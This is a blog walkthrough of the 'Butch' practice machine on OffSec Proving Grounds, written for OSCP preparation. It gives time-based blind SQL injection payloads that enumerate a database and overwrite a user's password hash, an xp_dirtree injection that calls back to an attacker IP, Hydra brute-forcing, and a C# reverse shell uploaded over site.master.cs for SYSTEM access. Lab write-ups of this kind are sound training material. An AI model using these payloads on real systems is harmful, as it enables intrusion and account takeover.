Auspicious Security LLC logo
Proving Grounds: Butch Walkthrough Without Banned Tools
January 18, 2022
Auspicious separator
Introduction
Spoiler Alert! Skip this Introduction if you don't want to be spoiled.

I'm normally not one to post walkthroughs of practice machines, but this one is an exception mainly because the official OffSec walkthrough uses SQLmap, which is banned on the OSCP exam. That's not doing examinees any favors. As I did manage to hack this machine without the use of any banned tools, I wanted to share my thought processes with the community as I didn't see any other resources addressing all these points for this machine. I also came up with a slightly different .NET exploit than the official walkthrough. Hopefully those spoilers aren't too harmful. I'll address my thoughts on this machine more in the conclusion.

Enumeration

Let's jump into it. To enumerate the box I used a slightly older version of AutoRecon. The newer version will still work for this box, though I would recommend disabling the long-running feroxbuster. Instructions for doing so can be found here.

sudo env "PATH=$PATH" autorecon 192.168.X.X

Looking into the results folder, we can see the enumerated ports.

Nmap results

We are unable to obtain anonymous access via FTP so we'll come back to that one if needed. For SMTP, autorecon was able to enumerate several valid users via the smtp-user-enum command.

SMTP user enumeration

Let's put those enumerated users in a text file.

cat users.txt

Thinking back to the FTP server, let's check if any of these logins work with the same password using hydra.

hydra -e nsr -L users.txt -P users.txt 192.168.X.X ftp

That doesn't work out for us.

ftp hydra output

Moving on to RPC, NetBIOS, and SMB ports, we aren't able to gleen any userful information other than we may need credentials to make use of these services.

On port 450 there is an HTTP service running IIS 10.

ftp hydra output

Autorecon was able to locate a few directories we should check out.

autorecon feroxbuster output

Viewing the root endpoint in a browser we identify a user/password form.

Port 450 form

At the dev endpoint we see a directory list with a TXT file and a CSS file.

/dev endpoint directory listing

Finally, port 5985 is appears to provide WinRM access. We could try our users.txt file as user/password but probably the HTTP endpoint is likely to be more fruitful so we'll direct our attention back there.

After some manual examination and tampering with the website, we find that the username field is susceptible to SQL injection.

' OR 1=1 #'
SQL Injection identified
Exploitation: SQL Injection

Going back to our SQL injection basics, we will first try to ascertain the number of columns being returned in the SQL query via appending a simple UNION ALL statement. It takes some experimentation with syntax to determine how to inject a valid statement. You should use a good SQL injection enumeration script to identify what syntax works. We eventually receive a valid response from the application after UNION ALL of 1 and 2 as values.

' UNION ALL select 1, 2 --

This tells us that there are two columns returned by the SQL query. Based on the syntax related to comments, we are also likely dealing with a SQL Server database.

2 columns identified

Running through our SQL injection script, we try several other techniques. First, we note that only the username field is susceptible to SQL injection. The password field does not seem to be. Additionally, even though we have a .NET error output, the CONVERT() function does not seem to elicit the right error text we are looking for. This would otherwise provide us with a method of visibly obtaining output from our query but, alas, it appears this is a blind SQL injection vulnerability.

Perhaps we can elicit a response with the xp_dirtree back to our attacker machine with responder to try and obtain a password hash. Let's start up the responder app.

sudo responder -I tun0
Responder listener

We'll then try our SQL injection and try to execute the xp_dirtree function back to our Kali attacker machine's IP, but we don't see any response from responder.

' OR 1=1 ; exec master.dbo.xp_dirtree '\\192.168.49.239\test';--

Let's setup an SMB server on Kali to double check.

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .

We submit the same xp_dirtree command as with Responder. We do receive an SMB connection attempt, but the connection is reset. This does not appear to be an avenue for exploitation. However, we do learn that port 445 is open for communication back to our attacker machine.

xp_dirtree connection reset

Moving on, faced with a blind SQL injection attempt, we can try to use the WAITFOR DELAY command to validate success of our SQL commands. After playing with various syntaxes, we encounter a noticable 10 second delay with the following input.

'; IF (1=1) WAITFOR DELAY '0:0:10';--

To validate our hypothesis, the following command has no 10 second delay.

'; IF (1=2) WAITFOR DELAY '0:0:10';--

Sweet, we are making progress. We don't know what the schema to the database is, but we can now validate the answers to yes/no questions that we pose to the SQL server. Generally, during a pentest the most interesting information in a database is any stored credentials. So the first step is to try and identify the name of a table that likely holds credentials. Perhaps the table is named user or users or logins? We need to construct a subquery that will return 1 for a valid table and 0 if the table doesn't exist. To do this, let's query the table schema and count the results.

select count(name) from sys.tables where name = 'user'

Putting that together into our existing SQL injection:

'; IF ((select count(name) from sys.tables where name = 'user')=1) WAITFOR DELAY '0:0:10';--

There is no delay. However, moving on to our next suspected table users does provide us with a delay. We have blindly confirmed that there is a table called USERS in the database.

'; IF ((select count(name) from sys.tables where name = 'users')=1) WAITFOR DELAY '0:0:10';--

Moving on, we need to determine what the useful columns are in this table. Useful columns might be user, username, or password. We should construct a yes/no query that queries the schema and let's us know if our guesses on the table's column names are correct for the USERS table. For this we'll need to join sys.tables and sys.columns on the object_id column.

select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' and c.name = 'user'

You see where this is going. After a few tries, we get a ten second delay and we blindly verify that there is a column named USERNAME in the table USERS.

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' and c.name = 'username')=1) WAITFOR DELAY '0:0:10';--

Alright, now the next logical step is to figure out the name of the column holding the password. Using our same query, we try simply password but that doesn't result in any delay.

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' and c.name = 'password')=1) WAITFOR DELAY '0:0:10';--

Well shoot. Is it possibly spelled differently like passwd? Rather than stabbing in the dark, we can use the like operator to try and determine the correct column name. This is what SQLmap would do, going through every possible character to determine schema element names and even values within fields. Yes, we could likely script this out also, but that sounds like a lot of work so let's see if we can't just figure this out using logic. Let's verify if a column name exists starting with pass.

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' and c.name like 'pass%')=1) WAITFOR DELAY '0:0:10';--

Success! There is a delay. Alright, let's move on and see if 'w' is the next character in the column name.

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' and c.name like 'passw%')=1) WAITFOR DELAY '0:0:10';--

There's also a delay. Hopefully you see where this is going now. We validate the column with passwo%, password% and then guess password_% before finally guessing the column name as password_hash.

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' and c.name = 'password_hash')=1) WAITFOR DELAY '0:0:10';--

At this point, we've confirmed there is a table named USERS with the columns USERNAME and PASSWORD_HASH. If we want to insert a row into this table, we need to know the names of all columns in the table. We use the following query to determine how many columns there are in the table. First we'll see if there are more than 2 rows and then if there are more than 3 rows. >3 rows does not have any delay, so we know there is one more column in the table.

'; IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' )>3) WAITFOR DELAY '0:0:10';--

I took some time trying to guess the third column without any success. Then I decided to try another approach and see if we could determine any existing users in the table. Again, we could try an approach like SQLmap, where we check if USERNAME like 'a%', USERNAME like 'b%', USERNAME like 'c%', etc. or try and get lucky with common names such as USERNAME = 'admin'. I got a hit with USERNAME like 'b%' and, since the box is named Butch, got a lucky guess with the following query that was confirmed by a 10 second delay.

'; IF ((select count(username) from users where username = 'butch')=1) WAITFOR DELAY '0:0:10';--

At this point, we have a couple of options. We can try to get the hash with the same approach as SQLmap, checking each character in the hash (a%, b%, c%, ca%, cb%, cc%, etc.) but a hash is going to be quite long and, again, this would be a pain without writing out a script. Additionally, once we get the hash we'd have to hope that we it is crackable. Our other option would be to overwrite the hash with our own value, assuming we have update rights. We can verify we have update permissions by trying an update and seeing if we receive any SQL exceptions. We don't receive an exception, so it seems we can update this value.

'; update users set password_hash = 'tacos123' where username = 'butch';--

Let's try to login with tacos123 as the password because, hey, you never know what silly things developers will do. Unfortunately, it doesn't work. We can at least verify our update was successful with the following query.

'; IF ((select count(username) from users where username = 'butch' and password_hash = 'tacos123')=1) WAITFOR DELAY '0:0:10';--

Alright, so we can update Butch's user record. Now we need to try and generate a valid hash to see if we can get one to match what the application is using. Probably common hashes such as MD5, SHA1, and SHA256 are a good place to start. We'll need to generate hashes for each. After updating the database, we then attempt to login with the USERNAME butch and the PASSWORD tacos123.

echo -n 'tacos123' | md5sum
echo -n 'tacos123' | sha1sum
echo -n 'tacos123' | sha256sum
Generating hash output

Third time's a charm and we can login as butch after executing the following SQL injection.

'; update users set password_hash = '6183c9c42758fa0e16509b384e2c92c8a21263afa49e057609e3a7fb0e8e5ebb' where username = 'butch';--

To summarize, we manually enumerated the USERS table schema and we able to update the existing row butch with our own SHA-2 password hash. This allows us to login with user butch and password tacos123. All without no stinking SQLmap.

Logged in as butch - top

Scrolling down on the page, we see there is an option to update files to the server.

Logged in as butch - bottom
Exploitation: .NET Remote Code Execution

Let's see what mischief we can get up to by uploading files to the server. We'll start with a simple text file.

Uploading a text file

We receive confirmation that the file is uploaded successfully.

File uploaded successfully

We determine that the file is accessible via the root directory. Simple enough.

Viewing the uploading text file

Since we know this is an ASP.NET server we'll try to upload a standard ASPX webshell from /usr/share/webshells/aspx/cmdasp.aspx. Not that easy, it doesn't allow the file format. We encounter the same issue for .asp files.

Invalid file format error

After some research it seems that .mspx is an alternative extension to aspx.

Invalid file format error

The site seems to like that extension.

MSPX file uploaded successfully

However, when accessing the file we get a 404. Perhaps AV or another process is removing the file.

MSPX file not found

More time is spent trying harder, researching and testing other various webshells to try and gain remote code execution. None of this pans out so we decide to take a hint from OffSec. We confirm that webshells are not the way to go and perhaps we should be looking in a different directory and analyzing some code.

OffSec Hint #2

This sends us down a rabbit hole, running various, larger wordlists and appending the ASPX extension.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.239.63/ -x "aspx"

We do find the URI endpoint /*checkout* which provides us with a runtime error. Again, we're deep in a rabbit hole and nothing useful comes of this.

Runtime error rabbit hole

Taking a deep breath, we review our notes and go back and take another look at the /dev/site.master.txt file. We see this is actually a C# file with the name site.master.cs and we might assume this is some code for the repository upload page. There is also some sort of “contentplaceholder” which appears to be executed on the server.

Source code for site.master.cs

When we look at the request in Burp Suite, we can see the ContentPlaceHolder1 is referenced with a File1 value. We try numerous ways to bypass the extension block list by modifying the request, all to no avail.

Burp Suite ContentPlaceholder1 header

We learn all about ContentPlaceHolder's from Microsoft's documentation. Unfortunately, this doesn't provide us with the clues needed to achieve remote code execution. We do extensive research looking for ASP.NET vulnerabilities related this functionality and eventually decide to take another hint from OffSec.

OffSec Hint 3

Okay, we need to overwrite some file. Should have realized that. Exploit chaining, of course. Well, the only file we really know about that isn't a .txt, .css, or .aspx file is the site.master.cs file, which we are assuming has the same logic as the site.master.txt file. So let's think about what we could do if we replaced this file. We find a C# reverse shell program we could try: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc.

I first tried to just overwrite the site.master.cs file with this reverse shell but that doesn't work too well, costing me a couple reverts. I then stumble on the following example which includes a site.master.cs file. This makes me realize we aren't actually looking at the site.master.cs file, but rather site.master which then invokes site.master.cs. The shell of a site.master.cs file is the following.

site.master.cs shell example

So we need to try and merge this example with our reverse shell code. Modifying the imported libraries is straight forward. We'll just merge the site.master.cs libraries with the reverse shell libraries into a single list.

Building the exploit: imports

The Namespace and Class name take some figuring, but we have a clue in the site.master.txt file:

From site.master.txt: Inherits MyNamespaceMaster.MyClassMaster

Now we will merge the logic from our C# reverse shell into the Site.Master.CS example from GitHub. We modify the namespace and the name of the class. Also it seems to require scoping as public partial so we'll make that change. Not sure if we should modify the MasterPage piece, so we'll just leave it. We're not running a main function, but overiding a Page_Load function, so we'll copy that from the template as well. Within this function is our reverse shell code, which should execute when the page loads. The top section of our code looks like the following:

Building the exploit: NameSpace & Class

The code finishes out with the C# reverse shell logic.

Building the exploit: Reverse shell logic

We will upload our code as site.master.cs and create a reverse shell listener on port 445 (we know this port is open from our previous attempts as exploiting SMB via xp_dirtree).

sudo nc -lnvp 445

When we refresh Butch's Ultimate File Repository our code executes and we receive a reverse shell as SYSTEM. Machine owned without the use of any banned tools :-)

Reverse shell as SYSTEM

The shell will only last until the web app times out, so quickly pull your proof file or copy over Netcat and create a more stable shell.

Conclusion

This was a tough box; don't feel too bad if you didn't get it. I spent over a decade as both a database administrator for SQL Server and a systems administrator for a .NET application. Even I needed to take hints to complete this box. I had never encountered the ContentPlaceHolder logic before and certainly learned a lot about it. The main takeaway for me was to recognize what I was actually looking at within the site.master.txt file. Had I paid closer attention to the source code and the reference to site.master.cs I may have found the key example on GitHub that allowed me to understand the application better and come up with my exploit.

It also turned out that I came up with a slightly different .NET webshell solution to this box than what is described in the walkthrough provided by OffSec. Be sure to look through that solution once you upload the proof file, as it also provides an interesting approach utilizing expert knowledge of the WebFormsExample. By comparison, my solution is more of a kludge integrating a webshell into the site.master.cs code provided.

As for the SQL injection, I hope my walkthrough was helpful in understanding how to navigate blind SQL injection. Certainly SQLmap is easier, but again this tool is banned on the exam and I found this box a lot more fun by manually enumerating the database schema than simply running a tool and waiting for the output. It is ironic that OffSec uses a banned tool in their official walkthrough.

Regarding my use of hints, I included those in this walkthrough in order to help those preparing for the OSCP exam gauge their readiness. I hacked this machine (with hints) about two weeks prior to passing the OSCP exam. The use of hints meant that I lost half the points on this machine, but in the end I rooted it through my own methods and it helped reinforce my methodologies. Everyone has their own skill levels in different areas, but I hope sharing some of my weaknesses helps you to gauge your own readiness prior to an exam attempt.

Happy hacking!

Auspicious separator

Information provided is for educational purposes only or for use in legal pentesting engagements and must not be used for illegal activities.

This website does not use cookies or other technologies to track your activities. Please see our Privacy Policy.

Copyright © 2021-2022 Auspicious Security LLC